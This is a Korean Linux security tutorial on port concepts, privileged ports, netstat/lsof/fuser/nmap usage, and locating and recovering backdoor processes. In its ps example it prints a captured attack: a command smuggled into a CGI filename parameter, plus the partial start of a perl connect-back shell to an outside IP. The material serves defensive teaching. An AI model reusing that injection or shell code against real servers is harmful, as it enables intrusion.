강좌
클라우드/리눅스에 관한 강좌입니다.
해킹&보안 분류

리눅스보안기본#1 : : 포트(port)의 개념과 포트 제어

작성자 정보

  • 관리자 작성
  • 작성일

컨텐츠 정보

본문

포트(port)의 개념과 포트 제어

 

클라이언트/서버 환경에서 시스템의 접속은 포트와 포트간의 통신이라고 할 정도로 포트의 의미는 매우 중요하다.

 

당연히 시스템 내에서 작동하고 있는 서비스를 이해하고 원활한 모니터링을 하기 위해서는 포트의 개념에 대한 이해가 매우 중요한데, 포트에 대한 기본적인 개념을 이해하고 있어야 각종 현상에 대한 이해가 가능하고, 문제 발생 시 적절히 처리를 할 수 있을 것이다.

 

(1) 포트의 개념과 포트 분류의 원칙

 

클라이언트와 서버 간 tcp/ip 통신에서 필수적인 개념인 포트(port)의 작동방식과 시스템의 핵심이라 할 수 있는 커널의 패치 및 업데이트 방법에 대해 살펴보도록 하겠다.

 

포트는 특정 응용 프로그램이 어떻게 작동하는지 파악하기 위한 가장 기본적인 사항으로 문제해결에 직접적인 단서가 된다.

 

. 이를테면 sendmail이 많이 실행되고 있어 시스템의 부하가 높은데, 과연 내부에서 외부로 발송되는 것인지 아니면 외부에서 내부로 전송되고 있는 메일 때문인지 알고자 할 때 sendmail의 포트인 25번이 어떻게 작동하는지 파악하면 쉽게 알 수 있을 것이다.

 

또한 방화벽이나 라우터에서 특정 프로그램의 접근을 허용하거나 거부하고자 할 때 역시 포트를 알아야 룰을 제대로 설정할 수 있을 것이다.

 

그리고 특정 데몬의 취약성뿐만 아니라 커널의 취약성 역시 자주 발견되고 있어 커널 업데이트를 하여야 하는 경우가 있는데, 특히 커널의 취약성은 매우 치명적인 경우가 많으므로 반드시 패치나 업그레이드를 하여야 함에도 불구하고 재부팅 후 부팅이 안 될 수도 있다는 막연한 두려움 때문에 아예 시도조차 않는 관리자가 많이 있는 것 같다.

 

그러나 시스템을 안정적으로 유지하기 위해 커널 업데이트는 필수 사항인 만큼 이번 기회에 자신감을 가질 수 있었으면 좋겠다.

시스템 간 통신을 할 때 물리적인 전송선은 하나이지만 그것을 여러 개의 응용 프로그램들이 서로 나누어 사용하기 위해서 포트라는 개념이 도입되었다.

 

한 시스템 내의 소켓(socket)을 사용하는 모든 프로세스는 별도의 포트 번호가 할당된 소켓을 갖게 되는데, 이것은 tcp/ip가 지원하는 상위 계층의 응용 프로그램을 구분하기 위한 번호이다.

 

그런데, 서버와 클라이언트간의 모든 네트워크는 일정한 규칙에 따라 포트를 이용해 통신을 하게 된다.

 

. 필자는 가끔 회사직원 채용면접을 볼 때 포트의 규칙에 대해서 질문을 하곤 하는데, 이를테면 포트는 몇 번부터 몇 번까지인가? 포트번호를 나누는 기준은 무엇인가? 등이었는데, 경력이 몇 년 있음에도 불구하고 정확히 알고 답변을 하는 경우가 별로 없었다.

 

물론 smtp 25, pop3110번 정도는 알고 있지만 이 정도는 초보자들도 아는 수준이 아닌가?

그럼 이의 답을 찾아보도록 하자. 포트 번호는 16비트를 사용하므로 사용 가능한 포트는 216제곱(216=65536) 0번부터 65535번까지 65536개인데 이 중 포트 0번은 일반적으로 사용하지 않으며 예약된 포트 번호이다.

 

 

 

IANA의 홈페이지인 http://www.iana.org/assignments/port-numbers을 보면 포트를 다음과 같이 세 가지로 분류하고 있다.

 

 

* Well Known 포트 : 0부터 1023

* Registered 포트 : 1024부터 49151

* Dynamic/Private 포트 : 49152부터 65535

 

첫 번째는 Well Known 포트로서 root 권한으로 바인드 할 수 있는 포트 번호이고, 1024부터 49151까지는 Registered 포트로서 일반유저 권한으로 바인드 할 수 있는 포트번호이며 마지막으로 Dynamic 또는 Private 포트는 클라이언트와 서버 간 통신 시 클라이언트가 사용하는 포트이다.

 

그러나 이보다는 실제로 아래와 같이 두 가지로 분류하여 사용된다.

 

.

 

먼저 예약된 포트인 0번을 제외하고 1번부터 1023번까지를 특별히 특권(privileged) 포트라 하고 1024번부터 65535번 포트까지를 비특권(unprivileged) 포트라고 한다.

 

어떤 문서에서는 1부터 1024번까지, 1025부터 65535까지라고 분류하였는데, 이는 잘못된 분류이다.

 

 

그럼 이렇게 포트를 나누는 기준은 무엇일까?

 

포트 바인딩등과 같은 소켓 프로그램을 이용하거나 80번을 사용하는 웹 서버와 같이 데몬을 셋팅하여 특정한 포트를 점유하는 프로그램을 실행할 수 있는데, privileged 포트 영역 내에 있는 포트를 이용하는 프로그램을 작동하려면 반드시 root 권한으로 작동하여야 한다.

 

, 다른 말로 표현하면 root 이외의 유저라면 1024번부터 65535번까지의 포트만을 생성(바인딩)할 수 있는 것이다.

 

물론 root 권한으로는 1부터 1023 사이의 포트뿐만이 아니라 1024번 포트 이후의 포트도 바인드 가능하다. 그러나 telnet이나 ftp와 같이 root 권한으로 작동하는 대부분의 데몬들은 1번부터 1023번 사이에 존재하고, mysql이나 oracle과 같이 1024번 이후의 포트는 주로 일반 유저 권한으로 데몬을 실행할 때 사용된다.

 

. 더불어 1024 이후의 포트는 클라이언트와 서버가 통신을 할 때 클라이언트 쪽에서 사용되는데, 이를테면 웹 서버에서 다른 db 서버에 접속을 요청한다면 이 관계에서는 db서버가 서버가 되고, 웹 서버는 클라이언트가 되는 것이다.

 

또한 sendmail을 실행하여 원격지 서버로 메일을 보낼 때 로컬은 클라이언트가 되고 원격지는 서버가 된다.

 

. 따라서 일부에서는 1024이후의 포트를 클라이언트 포트 또는 임시로 사용된다.

 

는 의미에서 ephemeral 포트라고 부르기도 하는데, 즉 앞의 IANA에서 정의한 Registered 포트와 Dynamic/Private 포트가 따로 분류되지 않고 실제로는 함께 사용된다.

 

고 생각하면 된다.

 

.

 

그런데 여기에서 한 가지 의문이 생길 수 있다.

 

왜 굳이 root 권한으로 리슨할 수 있는 포트와 일반 유저 권한으로 리슨할 수 있는 포트를 구분하였을까?

이는 ftptelnet, pop3, www 등 일반적으로 사용되는 서비스들은 root 권한으로 리슨하여야 신뢰할 수 있다고 판단하기 때문이다.

 

만약 telnet 데몬이 23번이 아니라 2323번을 사용한다고 가정해 보자. 2323번은 root가 아닌 어떤 유저라도 리슨 할 수 있는 포트이기 때문에 만약에 잠시 이 포트가 다운된 틈을 타서 root가 아닌 누군가가 악의적인 소켓 프로그램을 만들어서 마치 telnet 데몬인 것처럼 가장할 수 있을 수 있다.

 

, telnet 데몬을 root가 아닌 시스템 내 누구든 띄울 수 있다면 신뢰할 수 없고 결국 혼란이 발생할 것은 불을 보듯 뻔하다는 것이다.

 

그렇다면 mysql(3306/tcp)이나 oracle(1521/tcp), ms-sql(1433)등은 왜 1024 이후의 포트를 사용할까? 그 이유는 굳이 root 권한으로 작동할 필요가 없기 때문이다.

 

이를테면 mysql이나 oracle 의 경우 인증을 위해 자체적인 알고리즘과 db를 사용하기 때문에 굳이 시스템의 root만이 접근 가능한 /etc/shadow 파일에 접근할 필요가 없고 만약의 buffer overflow등과 같은 보안 문제 발생 시 해당 데몬의 실행권한만 빼앗길 뿐 root 권한을 빼앗기지 않아 피해를 최소화할 수 있기 때문이다.

 

 

 

참고로 현재의 시스템에서 클라이언트가 사용 가능한 포트는

# sysctl -n net.ipv4.ip_local_port_range

로 확인 가능하며

# sysctl -w net.ipv4.ip_local_port_range="32768 61000"

와 같은 명령어로 설정을 변경할 수 있다.

 

 

클라이언트의 포트는 OSI 7 Layer에서 7계층인 Application Layer에서 결정되는데, 예를 들어 웹 브라우저를 이용해 http://www.server.com/이라는 웹 서버를 접속하였다면 서버 측에서는 www 포트인 80번 포트가 반응하게 되고, 클라이언트에서는 웹 브라우저에서 1024번 이후의 임의의 포트를 할당하여 서로 통신이 되는 것이다.

 

pc에서 telnet이나 ftp 접속을 한 후 netstat na를 실행하여 클라이언트 pc에서 반응한 포트를 보면 1024이후의 포트에서 임의로 할당되는 것을 확인할 수 있을 것이다.

 

 

앞에서 "Well Known 포트에 대해 잠깐 언급하였는데, 이는 IANA에서 tcpudp에 대해 정책적으로 할당한 포트로서 www80, SMTP25, telnet23번등과 같이 통상적으로 사전에 약속한 프로토콜이 사용하는 포트에 대한 정의로서 이는 /etc/services 파일을 보면 된다.

 

.

 

만약 ip_local_port_range에서 지정한 포트가 모두 사용되어 추가 포트를 할당할 수 없게 된 경우에는 ‘Cannot assign requested address’‘Resource temporary Unavailable’ 과 같은 에러 메시지가 출력되면서 더 이상의 접속이 거부된다.

 

.

 

 

(2) 포트의 원리를 이용한 문제해결

 

앞에서 잠시 언급한대로 포트의 작동원리를 가지고 문제의 원인을 찾고 모니터링 할 수 있다고 했는데, 이 방법을 이용하여 아래의 문제를 해결해 보도록 하자.

 

갑자기 서버에 과부하가 걸리고 있어 ps aux로 시스템의 프로세스 상황을 살펴보니 아래와 같이 sendmail 프로세스가 많이 떠 있는 것을 확인하였다.

 

런데, sendmail은 외부에서 서버로 보내어진 메일을 받는 역할(Local25번 포트, Foreignunprivileged 포트 작동)과 내부에서 큐로 보내어진 메일을 외부로 발송하는 기능(Localunpriviliged 포트, Foreign25번 포트 작동)이 있는데, 아래의 sendmail 프로세스는 이 두 가지 기능 중 전자와 같이 외부에서 내부로 보내어지고 있는 메일을 받는 프로세스일까? 아니면 후자와 같이 현재 서버에서 외부로 발송되는 메일을 처리하는 프로세스일까?

 

[root@www /root]# ps aux|grep sendmail

root 3425 0.0 0.2 2472 1256 ? S Aug10 0:10 sendmail: accepti

root 20818 0.0 0.2 2596 1520 ? S 01:07 0:00 sendmail: server

root 24572 0.0 0.3 2728 1684 ? S 01:32 0:00 sendmail: sevrer

root 24970 0.0 0.2 2596 1524 ? S 01:34 0:00 sendmail: server

root 25811 0.0 0.2 2596 1524 ? S 01:38 0:00 sendmail: server

root 13455 0.0 0.2 2472 1256 ? S Aug11 0:10 sendmail: accepti

root 23766 0.0 0.2 2344 1520 ? S 01:07 0:00 sendmail: server

root 47932 0.0 0.2 2432 1524 ? S 01:34 0:00 sendmail: server

root 98793 0.0 0.2 2342 1524 ? S 01:38 0:00 sendmail: server

 

이때의 해결책은 ps의 결과만으로는 알 수 없으며 아래와 같이 netstat을 이용하면 되는데, sendmail 프로세스가 작동한다면 Local이든 Foreign이든 하나는 반드시 25번 포트가, 다른 하나는 1024 이후의 포트가 사용된다.

 

는 특징을 이용하면 된다.

 

.

 

[root@www /root]# netstat -na|grep :25

tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN

tcp 0 0 211.47.65.56:25 211.47.66.71:3420 TIME_WAIT

tcp 0 0 211.47.65.56:25 198.6.49.12:36877 ESTABLISHED

tcp 0 0 211.47.65.56:25 211.119.130.90:3626 ESTABLISHED

tcp 0 0 211.47.65.56:25 210.121.167.112:3565 ESTABLISHED

tcp 0 0 211.47.65.56:25 210.111.91.130:4858 ESTABLISHED

tcp 0 0 211.47.65.56:25 128.134.24.193:4931 ESTABLISHED

tcp 0 0 211.47.65.56:25 211.54.29.139:1631 ESTABLISHED

tcp 0 0 211.47.65.56:25 203.25.16.2:2666 ESTABLISHED

tcp 0 0 211.47.65.56:25 211.54.29.139:1630 ESTABLISHED

tcp 0 0 211.47.65.56:25 192.198.165.17:51757 ESTABLISHED

tcp 0 0 211.47.65.56:25 210.219.250.207:2300 TIME_WAIT

tcp 0 0 211.47.65.56:25 210.106.207.100:1036 ESTABLISHED

tcp 0 0 211.47.65.56:25 134.239.84.2:4499 ESTABLISHED

tcp 0 0 211.47.65.56:25 202.119.208.10:42934 ESTABLISHED

 

이 결과를 보면 왼쪽에 보이는 것이 (Local)서버쪽의 IP:PORT 상태이며 오른쪽에 보이는 것이 (Foreign)원격지의 IP:PORT 상태이다.

 

위 상태를 보면 좌측의 서버(Local)측에서는 25번 포트가 반응하고 있고, 우측의 원격지(Foreign)에서는 1024 이후의 포트 중 임의의 포트 즉 클라이언트 포트가 반응하고 있는 것을 확인할 수 있다.

 

이를 통해 현재의 상태는 외부(원격지)에서 로컬 서버로 메일을 전송하고 있는 상태 즉 서버가 외부에서 발송된 메일을 받고 있는 상태라는 것을 알 수 있다.

 

그리고 만약 아래와 같은 상황이라면 앞의 상황과는 반대로 외부의 원격지에서 25번 포트가 반응하고 있으므로 내부 로컬에서 외부로 메일을 발송하고 있는 상태라는 것을 알 수 있다.

 

 

 

[root@www /root]# netstat -na|grep :25

tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN

tcp 0 0 211.47.65.56:38799 211.47.66.71:25 TIME_WAIT

tcp 0 0 211.47.65.56:43634 198.6.49.12:25 ESTABLISHED

tcp 0 0 211.47.65.56:43891 211.119.130.90:25 ESTABLISHED

tcp 0 0 211.47.65.56:7478 210.121.167.112:25 ESTABLISHED

tcp 0 0 211.47.65.56:1234 210.111.91.130:25 ESTABLISHED

tcp 0 0 211.47.65.56:2152 128.134.24.193:25 ESTABLISHED

tcp 0 0 211.47.65.56:3645 211.54.29.139:25 ESTABLISHED

tcp 0 0 211.47.65.56:3601 203.25.16.2:25 ESTABLISHED

 

포트 번호 외에 프로토콜에 따라 tcpudp 포트로도 분류할 수 있는데 telnet, sendmail, httpd등 대부분의 프로토콜은 신뢰성이 보장되는 tcp를 사용하나 dns등 특정 프로토콜의 경우 udp를 사용하거나 tcpudp를 함께 사용하는 경우도 있다.

 

udp 패킷은 tcp 패킷에 비해 헤더에 패킷의 순서에 대한 정보가 없기 때문에 패킷의 신뢰성 보다는 오버 헤드가 없고 빠른 속도를 필요로 할 때 사용되며 한 시스템 이상에게 메시지를 전달하는 멀티 캐스트로 사용되기도 한다.

 

ps에서 제공되는 옵션으로 마치 netstat 의 결과와 연관 지어 함께 볼 수 있는 유용한 옵션이 있다.

 

다음과 같이 실행하면 해당 프로세스에 대한 자세한 내용을 확인할 수 있는데, 주로 백도어 등 비정상 프로세스에 대한 내용을 확인할 때 유용하다.

# ps e -Alf --cols 3000

 

040 S nobody 28298 1 0 75 0 - 1065 - 11:15 ? 0:00 perl ker.pl SERVER_SIGNATURE=<ADDRESS>Apache/1.3.33 Server at server.com Port 80</ADDRESS>?

SCRIPT_FILENAME=/home2/server/public_html/technote/main.cgi

SERVER_NAME=server.com

REMOTE_ADDR=67.43.229.66

REQUEST_URI=/technote/main.cgi?down_num=12926&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|

HOME=/tmp

REMOTE_PORT=56670

DOCUMENT_ROOT=/home2/server/public_html

HTTP_USER_AGENT=Getter/0.1

SCRIPT_NAME=/technote/main.cgi

HTTP_CMD=cd /home2/server/public_html/technote; perl -mIO::Socket -e 'fork && exit; $pa = "67.43.229.66";$pp = 4434; $sock = IO::Socket::INET->new(PeerAddr => $pa, PeerPort => $pp, Proto => "tcp") || exit; $stop = 49602; $tot = 0; $code

 

또한, 아래의 경우에는 root가 어떤IP에서 ssh 접속 후 외부로 telnet을 시도하는지도

알 수 있다.

 

 

 

0 S root 2551 2439 0 76 0 - 619 rest_i 11:40 pts/1 0:00 telnet test.server.com HOSTNAME=localhost.localdomain TERM=xterm SHELL=/bin/bash HISTSIZE=1000 SSH_CLIENT=192.168.65.57 47385 22 SSH_TTY=/dev/pts/1 USER=root

USERNAME=root MAIL=/var/spool/mail/root

PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin INPUTRC=/etc/inputrc PWD=/root LANG=en_US.UTF-8 SHLVL=1 HOME=/root BASH_ENV=/root/.bashrc LOGNAME=root SSH_CONNECTION=192.168.65.57 47385 192.168.43.75 22 LESSOPEN=|/usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/usr/kerberos/bin/telnet

 

그리고, syslogd -m 이라고만 보이는 프로세스는 2.4.x 커널에서 현재의 runlevel 이나 부트파일의 경로등 상세정보도 알 수 있다.

 

 

1 S root 369 1 0 69 0 - 366 do_sel Jan09 ? 5:22 syslogd -m 0 CONSOLE=/dev/console TERM=linux INIT_VERSION=sysvinit-2.84 AUTOBOOT=YES PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin RUNLEVEL=3 runlevel=3 BOOT_FILE=/boot/vmlinuz-2435 PWD=/ LANG=en_US.UTF-8 PREVLEVEL=N previous=N HOME=/ SHLVL=2 BOOT_IMAGE=2435 _=/sbin/initlog

 

 

 

 

(3) 포트 점검 및 제어

 

그렇다면 자신이 운영하는 서버에는 어떤 포트가 떠서 서비스 요청을 기다리고 있는지 알 수 있는 방법이 있을까? 이는 간단히 검색하고자 하는 서버에 대해 포트 스캔을 해 보면 된다.

 

. 특정 포트가 반응하는지 여부는 여러 방법으로 확인 가능한데, 단순히 특정 포트로 telnet 접속하여(: telnet www.server.com 522) 접속이 되는지 여부를 확인하는 방법도 있고, 별도의 전용 포트 스캔 프로그램을 사용해도 된다.

 

.

 

telnet 자체는 tcp 프로토콜이므로 tcp 관련 프로토콜에 대해서만 접속 가능하며 udp 포트에 대한 telnet 접속 시도는 의미가 없다. 따라서 이를테면 snmp가 작동하는지 확인하기 위해 161/udptelnet 접속을 하는 것은 의미가 없다는 뜻이다.

 

 

포트 스캔을 위해 가장 권장할 만한 프로그램으로는 “9. 보안프로그램 활용에서 살펴 볼 nmap이 있는데, http://www.insecure.org/nmap/에서 소스를 다운로드 받아 컴파일하여 설치하거나 http://rpmfind.net/에서 rpm 형태의 파일을 검색한 후 다운로드하여 사용하여도 된다.

 

.

"nmap p 165535 localhost" 또는 "nmap p 165535 공인IP" 를 실행하면 현재 자신의 시스템에 어떤 포트가 떠 있는지 모든 포트에 대해 확인 가능하다. 만약 아무런 옵션을 주지 않고 nmap localhost만 실행하면 사전에 정의된 Well Known 포트에 대해서만 스캔을 한다는 것을 주의하기 바란다.

 

또한 nmap -p 21,23,53,80 192.168.1.0/24와 같이 스캔할 경우에는 192.168.1.0 대역(192.168.1.1부터 192.168.1.255까지 모든 호스트)에 대해 21,23,53,80번등의 특정 포트가 열려있는지에 대해서만 스캔을 하게 된다.

 

. 그런데, 스캔한 결과를 보니 자신이 알지 못하는 이상한 포트가 떠 있는 경우가 있다.

 

일반적으로 해킹을 한 후에는 이후에 원격에서도 쉽게 접속할 수 있도록 특정한 포트에 백도어(backdoor)를 설치하여 숨겨놓는 경우가 있으므로 백도어가 아닐까 의심하는 경우가 있는데, 이 포트를 사용하는 프로세스가 어떤 것인지 확인하는 방법과 이 포트를 kill하는 방법은 무엇일까?

 

Port State Service

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

80/tcp open http

110/tcp open pop-3

1234/tcp open hotline

3306/tcp open mysql

4321/tcp open rwhois

7755/tcp open unknown

10101/tcp open unknown

 

만약 포트 스캔 결과 위와 같이 나왔을 경우 우측에 telnet, ftp등 포트번호에 해당하는 서비스의 이름이 나오는데, 이는 단순히 스캔된 포트에 대하여

/usr/local/share/nmap/nmap-services 파일에 정의된 서비스명과 매치를 시켜 놓은 것뿐이며 이를테면 80번 포트라고 해서 반드시 웹 데몬이 아닐 수도 있음을 주의하기 바란다.

 

아울러 unknown이라고 나온 것은 /usr/local/share/nmap/nmap-services 파일에 정의되지 않은 포트이기 때문이다.

 

위 스캔 결과에서 10101번 포트가 수상하여 10101번 포트를 쓰고 있는 프로세스가 무엇인지 알고 싶은 경우 알 수 있는 방법은 아래와 같이 몇 가지가 있다.

 

 

 

로컬 시스템이라면 먼저 lsof를 이용하는 방법이 있고, 두 번째는 fusernetstat socklist라는 명령어를 이용하는 방법이다.

 

이 명령어들은 대부분의 시스템에서 기본적으로 이용할 수 있는데, 혹 명령어가 실행되지 않으면 해당 패키지를 찾아 설치하면 된다.

 

. lsoflsof라는 패키지에, fuserpsmisc패키지에 포함되어 있는데, http://rpmfind.net/에서 rpm으로 다운로드 할 수 있다.

 

만약 원격지의 서버에 리슨하고 있는 포트가 어떤 프로그램인지 알고자 한다면 amap이라는 프로그램을 이용하면 되는데 amap에 대한 자세한 내용은 홈페이지(http://thc.org/thc-amap/)를 참고하기 바란다.

 

 

lsof를 이용 시

 

lsofList Open Files의 약자로서 현재의 시스템에서 프로세스가 오픈하고 있는 모든 파일과 상세 정보를 보여주는데 lsof i | grep 10101을 하면 10101번 포트를 사용하고 있는 프로세스를 확인할 수 있다.

 

만약 단순히 lsof 실행 파일만 다른 시스템에서 복사하여 사용하는 경우에는 i 옵션이 제대로 작동하지 않는 수가 있는데, 이러한 경우에는 lsof > result.txt를 실행하여 result.txt 파일의 결과를 참고해도 된다.

 

. 이 외에도 lsof는 많은 다른 목적으로 사용되는 유용한 프로그램이므로 사용 방법을 익혀 두는 것이 좋다.

 

fuser를 이용 시

 

fuser는 특정한 파일이나 파일 시스템을 사용하고 있는 프로세스의 pid를 보여주는 명령어로 fuser n tcp 10101과 같이 실행하면 10101번 포트를 사용 중인 프로세스id를 보여준다.

 

물론 udp 포트일 경우에는 fuser n udp 53과 같이 사용하면 된다.

 

.

이때 프로세스 id570번이라는 것을 확인했다면 pid 570번을 사용하는 프로세스를 확인하여야 하는데, 이는 ps에서 보이는 결과로 확인을 하거나 ls la /proc/570/의 결과 중 exe->가 가리키는 결과를 확인 하면 된다.

 

. exe->가 가리키는 경로는 현재 실행 파일을 의미하며 cmd->는 실행 파일이 참조하는 파일이나 디렉토리의 경로를 알려준다.

 

 

만약 exe -> /home/user1/hacking/hacking*이라고 되어 있으면 이 경로에 있는 파일이 10101번 포트를 바인딩하고 있는 프로세스라는 것을 확인할 수 있다.

 

 

 

만약 ls -la /proc/pid와 같이 확인했을 때 exe -> /home/user1/hacking/hacking (deleted)와 같이 보이는 경우가 있다.

 

실제로 /home/user1/hacking/ 디렉토리에서 확인해 보면 hacking이라는 파일이 없는데, 프로세스에는 떠 있게 된다.

 

. 이는 hacking이라는 백도어 파일을 실행하여 메모리에 올린 후에는 해당 파일을 삭제하여 백도어로서 작동은 하되 흔적은 남기지 않도록 하기 위해서인데 실제 공격자가 자주 사용하는 방법이기 때문에 이런 경우를 자주 보게 될 것이다.

 

이러한 경우 파일은 삭제되었어도 메모리에는 남아있기 때문에 cp /proc/pid/exe /root/test라고 실행하면 원본 파일을 복구할 수 있다.

 

또한 다음과 같이 lsof를 이용하여 백도어를 복원하는 방법도 있다.

 

 

 

# lsof p 25000

 

COMMAND PID USER FD TYPE DEVICE SIZE NAME

perl 25000 nobody 4r REG 3,65 114383 /home/abc/backdoor (deleted)

 

# cd /proc/25000/fd

# ls la

lr-x------ nobody nobody 64 Oct 11 00:30 4 -> /home/abc/backdoor

# cp 4 /tmp/backdoor

 

netstat을 이용 시

 

간단히 사용할 수 있는 다른 명령어로서 다음과 같이 터미널 상에서 netstat을 실행해 보는 방법도 있다.

 

netstat에서는 많은 옵션을 제공하고 있는데, 현재 시스템 상에서 특정 포트를 점유하여 소켓 데몬 형태로 대기 중인 서비스에 대한 사항은 listen의 의미인 -l 옵션을 주면된다.

 

. 더불어서 -p 옵션을 주면 해당 포트를 사용 중인 program 이름도 확인할 수 있다.

 

 

8fbf1bfe7faf246d2e517e6d05a2ca70_1654673839_8737.png
 

[그림] netstat -lnp 실행화면

위의 경우를 보면 좌측에 현재 리슨하고 있는 포트를 알 수 있으며 우측에 있는 정보를 보면 해당 포트가 어떤 PID(Process ID)이며 어떤 프로그램인지 확인할 수 있다.

 

만약 포트 2265/tcp을 리슨하고 있는 프로세스 정보를 알고자 한다면 pid587이고 프로그램 이름이 osirisd인 것을 알 수 있는데, 좀 더 상세히 알고자 한다면 앞에서 살펴본 바와 같이 ls -la /proc/pid를 실행하면 된다.

 

.

 

netstat을 실행시 0.0.0.0으로 보이는 것이 무슨 의미인지 묻는 질문을 자주 받곤 한다.

어떤 책에서는 통신을 하지 않고 대기하고 있는 상태라고 설명하였는데, 이는 잘못된 대답이다.

 

위 그림에서 보이는 0.0.0.0이라는 의미는 원래 any 즉 모든 IP라는 의미로, 해당시스템에 존재하는 모든 인터페이스의 IP에 대해 서비스가 리슨하고 있다는 의미로 이를테면 위 시스템의 인터페이스에 127.0.0.1211.47.65.57, 192.168.3.44 IP가 설정되어 있다면 80번 포트의 경우 위 세 개 IP 모두에 리슨한다는 의미가 되고, 783번 포트의 경우 127.0.0.1에만 리슨한다는 의미가 된다.

 

. 따라서 127.0.0.180번이나 211.47.65.5780번으로 telnet 접속해도 접속이 되나 783번의 경우 127.0.0.1로만 접속해야 접속이 된다.

 

.

 

마지막으로 socklist라는 명령어도 있는데, 이는 간단한 perl로 된 프로그램으로 /proc 이하의 정보를 분석하여 아래와 같이 사용 중인 포트 및 프로그램의 이름 정보를 알 수 있다.

 

 

 

# socklist

type port inode uid pid fd name

tcp 3306 1363 100 788 3 mysqld

tcp 110 9719899 0 31825 5 xinetd

tcp 80 39439944 0 16117 16 httpd

tcp 21 63843244 99 27561 0 proftpd

tcp 22 726 0 547 3 sshd2

tcp 25 834 0 631 4 sendmail

tcp 2265 777 847 587 6 osirisd

tcp 22 87711874 0 15569 5 sshd2

tcp 22 83945633 0 27026 5 sshd2

tcp 80 87746954 99 15391 100 httpd

tcp 80 87746946 99 15373 100 httpd

tcp 80 87746962 99 15392 100 httpd

tcp 80 87746961 99 15386 100 httpd

tcp 80 87746965 99 15403 100 httpd

tcp 22 87550917 0 7263 5 sshd2

tcp 80 87739155 99 15429 100 httpd

tcp 22 87278733 0 20744 5 sshd2

 

그리고 만약 특정 프로세스가 정상적인 것이 아니라면 kill 9 570 (570pid) 또는

killall 9 e hacking 또는 pkill -9 hacking (hackingps auxc 실행시 보이는 프로세스 이름)으로 해당 프로세스를 강제로(-9) 죽이면 포트도 닫히게 된다.

 

. 또한 특정한 유저와 관련된 프로세스 이를테면 user1로 생성된 프로세스를 kill하려면 “#skill -KILL user1” 과 같이 실행하면 되고, 만약 “#skill -KILL -v pts/2” 와 같이 실행하면 pts/2로 로그인한 유저는 접속이 끊기게 된다.

 

. 또는 커널 레벨에서 작동하는 패킷 필터링 툴인 ipchains(커널 2.2.x 기반)iptables(커널 2.4.x /2.6.x이상)를 이용하여 소스나 목적지 포트를 제어할 수도 있다.

 

들어오는 패킷에 대해서는 INPUT, 나가는 패킷에 대한 제어는 OUTPUT을 그리고 소스 포트에 대한 제어는 -sport, 목적지 포트에 대해서는 -dport를 이용하면 된다.

 

. 이를테면

 

# iptables A INPUT p tcp ! -sport 0:1023 -dport 25 j ACCEPT

와 같은 경우 들어오는(INPUT) 패킷 중 소스 포트가 0부터 1023이 아닌(! -sport 0:1023) 1024부터 65535까지의 포트, 그리고 목적지 포트는 25번인 패킷(--dport 25)을 허용하겠다는(-j ACCEPT) 의미이다.

 

iptables를 이용한 패킷 필터링에 대해서는 “7. 방화벽 구축 및 운영에서 자세히 설명할 것이다.

 

 

참고로 어떤 서버 관리자에게 특정 포트를 닫으라고 했더니 /etc/services 파일에서 해당 포트 부분을 주석 처리한 경우가 있었는데, /etc/services 파일은 포트를 제어하는 기능이 아니라 단순히 포트이름과 번호를 매핑 시켜주는 역할만 할 뿐이다.

 

 

포트가 닫혔는지 여부는

(1) nmap으로 스캔하는 방법

(2) netstat -l 로 확인해 보거나 (3) tcp의 경우 “telnet host_ip 포트번호로 확인하면 된다.

 

.

아울러 아래의 사이트를 참조하면 특정한 포트 번호가 어떤 역할을 하는지에 대해서 상세한 정보를 얻을 수 있으니 특정 포트의 역할에 대해 궁금하신 분은 참고하기 바란다.

 

http://grc.com/PortDataHelp.htm

http://www.iss.net/security_center/advice/Exploits/Ports/default.htm

http://www.chebucto.ns.ca/~rakerman/port-table.html

http://www.networksorcery.com/enp/nav0204.htm

http://www.practicallynetworked.com/sharing/app_port_list.htm

 

 

8fbf1bfe7faf246d2e517e6d05a2ca70_1654673862_9959.png
 

[그림] 포트에 대한 상세한 정보를 제공하는 grc.com

 



 

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,041 명
  • 현재 강좌수 :  35,855 개
  • 현재 접속자 :  120 명